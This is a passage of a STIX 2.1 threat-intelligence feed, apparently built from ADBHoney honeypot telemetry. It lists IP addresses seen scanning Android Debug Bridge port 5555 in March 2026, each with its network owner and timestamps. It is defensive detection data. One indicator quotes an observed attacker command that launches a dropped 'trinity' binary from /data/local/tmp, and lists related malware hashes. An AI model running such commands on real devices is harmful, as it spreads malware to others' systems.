      "pattern": "[ipv4-addr:value = '165.22.252.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T22:00:02.000Z",
      "valid_until": "2026-04-28T22:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-27T21:36:06.000Z",
          "last_seen": "2026-03-27T21:37:07.603Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SG"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-27T22:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=SG; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-27T21:36:06.000Z | last_seen=2026-03-27T21:37:07.603Z | ports=5555 | cc=SG | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--315f3e1a-38f1-4fd1-a80a-421d651b0aa5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '165.22.252.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T22:00:04.000Z",
      "valid_until": "2026-04-28T22:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-27T21:36:06.000Z",
          "last_seen": "2026-03-27T21:37:07.603Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SG"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-27T23:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=56044; asn_org=China Mobile communications corporation; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-27T22:25:30.000Z | last_seen=2026-03-27T22:26:30.909Z | ports=5555 | cc=CN | asn=56044 | org=China Mobile communications corporation",
      "id": "indicator--01622640-c17a-46e4-89ec-f0d6030a9849",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '111.55.49.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T23:00:02.000Z",
      "valid_until": "2026-04-28T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-27T22:25:30.000Z",
          "last_seen": "2026-03-27T22:26:30.909Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "56044"
          ],
          "org": [
            "China Mobile communications corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-28T01:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=BR; asn=13335; asn_org=Cloudflare, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=14 | first_seen=2026-03-28T00:56:47.000Z | last_seen=2026-03-28T01:43:35.007Z | ports=5555 | cc=BR | asn=13335 | org=Cloudflare, Inc.",
      "id": "indicator--b5ae8339-b1c3-4406-934a-f97cea9f21a9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '104.28.152.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T01:00:03.000Z",
      "valid_until": "2026-04-29T01:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 14,
          "first_seen": "2026-03-28T00:56:47.000Z",
          "last_seen": "2026-03-28T01:43:35.007Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "BR"
          ],
          "asn": [
            "13335"
          ],
          "org": [
            "Cloudflare, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-28T01:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=BR; asn=13335; asn_org=Cloudflare, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=14 | first_seen=2026-03-28T00:56:47.000Z | last_seen=2026-03-28T01:43:35.007Z | ports=5555 | cc=BR | asn=13335 | org=Cloudflare, Inc.",
      "id": "indicator--b5ae8339-b1c3-4406-934a-f97cea9f21a9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '104.28.152.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T01:00:04.000Z",
      "valid_until": "2026-04-29T01:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 14,
          "first_seen": "2026-03-28T00:56:47.000Z",
          "last_seen": "2026-03-28T01:43:35.007Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "BR"
          ],
          "asn": [
            "13335"
          ],
          "org": [
            "Cloudflare, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-28T05:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=132525; asn_org=HeiLongJiang Mobile Communication Company Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-28T04:54:21.000Z | last_seen=2026-03-28T04:55:31.971Z | ports=5555 | cc=CN | asn=132525 | org=HeiLongJiang Mobile Communication Company Limited",
      "id": "indicator--2cb63039-d07e-42b4-8e74-83c737ebd8a3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '111.41.136.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T05:00:03.000Z",
      "valid_until": "2026-04-29T05:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-28T04:54:21.000Z",
          "last_seen": "2026-03-28T04:55:31.971Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "132525"
          ],
          "org": [
            "HeiLongJiang Mobile Communication Company Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-28T05:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=132525; asn_org=HeiLongJiang Mobile Communication Company Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-28T04:54:21.000Z | last_seen=2026-03-28T04:55:31.971Z | ports=5555 | cc=CN | asn=132525 | org=HeiLongJiang Mobile Communication Company Limited",
      "id": "indicator--2cb63039-d07e-42b4-8e74-83c737ebd8a3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '111.41.136.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T05:00:04.000Z",
      "valid_until": "2026-04-29T05:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-28T04:54:21.000Z",
          "last_seen": "2026-03-28T04:55:31.971Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "132525"
          ],
          "org": [
            "HeiLongJiang Mobile Communication Company Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-28T07:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=9 | first_seen=2026-03-28T06:04:44.000Z | last_seen=2026-03-28T06:14:48.080Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--1d8fc362-08a9-4969-b967-8fb71a30a12f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T07:00:04.000Z",
      "valid_until": "2026-04-29T07:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 9,
          "first_seen": "2026-03-28T06:04:44.000Z",
          "last_seen": "2026-03-28T06:14:48.080Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-28T07:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-28T06:03:38.000Z | last_seen=2026-03-28T06:04:40.896Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--125840d7-9d92-4986-b0cb-f4c1b7451f76",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T07:00:04.000Z",
      "valid_until": "2026-04-29T07:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-28T06:03:38.000Z",
          "last_seen": "2026-03-28T06:04:40.896Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-28T07:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=9 | first_seen=2026-03-28T06:04:44.000Z | last_seen=2026-03-28T06:14:48.080Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--1d8fc362-08a9-4969-b967-8fb71a30a12f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T07:00:04.000Z",
      "valid_until": "2026-04-29T07:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 9,
          "first_seen": "2026-03-28T06:04:44.000Z",
          "last_seen": "2026-03-28T06:14:48.080Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-28T07:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-28T06:03:38.000Z | last_seen=2026-03-28T06:04:40.896Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--125840d7-9d92-4986-b0cb-f4c1b7451f76",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T07:00:04.000Z",
      "valid_until": "2026-04-29T07:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-28T06:03:38.000Z",
          "last_seen": "2026-03-28T06:04:40.896Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-28T10:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=23; ports=5555; cc=US; asn=396982; asn_org=Google LLC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=23 | first_seen=2026-03-28T09:27:21.000Z | last_seen=2026-03-28T09:39:07.807Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--6fbcbc62-d35a-4145-8298-8a84d6eae69c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T10:00:02.000Z",
      "valid_until": "2026-04-29T10:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 23,
          "first_seen": "2026-03-28T09:27:21.000Z",
          "last_seen": "2026-03-28T09:39:07.807Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-28T10:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=23; ports=5555; cc=US; asn=396982; asn_org=Google LLC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=23 | first_seen=2026-03-28T09:27:21.000Z | last_seen=2026-03-28T09:39:07.807Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--6fbcbc62-d35a-4145-8298-8a84d6eae69c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T10:00:03.000Z",
      "valid_until": "2026-04-29T10:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 23,
          "first_seen": "2026-03-28T09:27:21.000Z",
          "last_seen": "2026-03-28T09:39:07.807Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-28T13:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=61; ports=5555; cc=CN; asn=56041; asn_org=China Mobile communications corporation; cats=Generic Protocol Command Decode; adb_cmd_hits=0; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-03. events=61 | first_seen=2026-03-28T12:21:22.000Z | last_seen=2026-03-28T12:35:08.497Z | ports=5555 | cc=CN | asn=56041 | org=China Mobile communications corporation | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--0b798b7d-eb47-4720-9bb2-ceddec9fd903",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '218.205.95.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T13:00:02.000Z",
      "valid_until": "2026-04-29T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 61,
          "first_seen": "2026-03-28T12:21:22.000Z",
          "last_seen": "2026-03-28T12:35:08.497Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "56041"
          ],
          "org": [
            "China Mobile communications corporation"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-28T13:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=7 | first_seen=2026-03-28T12:54:09.000Z | last_seen=2026-03-28T13:04:11.435Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--37ae065c-4338-4a81-b2df-f98eea18f855",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T13:00:02.000Z",
      "valid_until": "2026-04-29T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 7,
          "first_seen": "2026-03-28T12:54:09.000Z",
          "last_seen": "2026-03-28T13:04:11.435Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-28T13:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-28T12:52:07.000Z | last_seen=2026-03-28T12:53:11.424Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--82b36727-89cb-4e0c-9280-dc6237592bb2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-28T13:00:02.000Z",
      "valid_until": "2026-04-29T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-28T12:52:07.000Z",
          "last_seen": "2026-03-28T12:53:11.424Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-28T13:00:04.000Z",
